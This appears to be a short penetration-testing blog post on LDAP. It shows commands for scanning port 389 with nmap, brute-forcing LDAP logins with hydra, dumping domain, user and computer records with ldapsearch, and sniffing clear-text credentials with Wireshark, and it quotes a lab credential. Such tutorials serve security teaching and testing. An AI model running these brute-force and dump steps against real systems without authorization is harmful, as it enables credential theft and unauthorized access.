Home Ldap Pentesting
Post
Cancel

Ldap Pentesting

Ldap

The Lightweight Directory Access Protocol (LDAP) is a directory service protocol that runs on a layer above the TCP/IP stack. It provides a mechanism used to connect to, search, and modify Internet directories. It runs on port 389/tcp by default.

Enumeration

Scanning With Nmap

We can use nmap to scan ldap protocol.

1
2
3
nmap -sT -sV -Pn -p 389 [target_host]

ldap

Above image shows ldap was running on port 389/tcp on our target.

Bruteforcing Ldap

hydra

Using hydra , we can bruteforce credentials of ldap protocol.

1
hydra -l [username] -P [/path/to/password/wordlist] ldap2://[target_ip]

ldap

In the above image we were able to get a valid credential krobot:kPassword@123.

Exploitation

Dump all domain information

Since we got valid credentials, we can extract everything from our target domain using ldapsearch.

1
2
3
ldapsearch -x -D '[domain\username]' -w '[password]' -b 'dc=[subdomain],dc=[tld]' -H ldap://[target_ip]

ldap

ldap

Extract Users .

1
2
3
ldapsearch -x -D '[domain\username]' -w '[password]' -b 'cn=users,dc=[subdomain],dc=[tld]' -H ldap://[target_ip]

ldap

Extract Information Of A Specific User

1
2
3
ldapsearch -x -D '[domain\username]' -w '[password]' -b 'cn=[target_user],cn=users,dc=[subdomain],dc=[tld]' -H ldap://[target_ip]

ldap

Extract Computers

1
2
3
ldapsearch -x -D '[domain\username]' -w '[password]' -b 'cn=computers,dc=[subdomain],dc=[tld]' -H ldap://[target_ip]

ldap

Sniffing

The traffic sent to and received from ldap is not encrypted. We can leverage this to retrieve a clear-text credential.

Wireshark

We can use wireshark to sniff ldap traffic.

ldap

Analysing ldap traffic revealed the clear-text credential of ldap

References

This post is licensed under CC BY 4.0 by the author.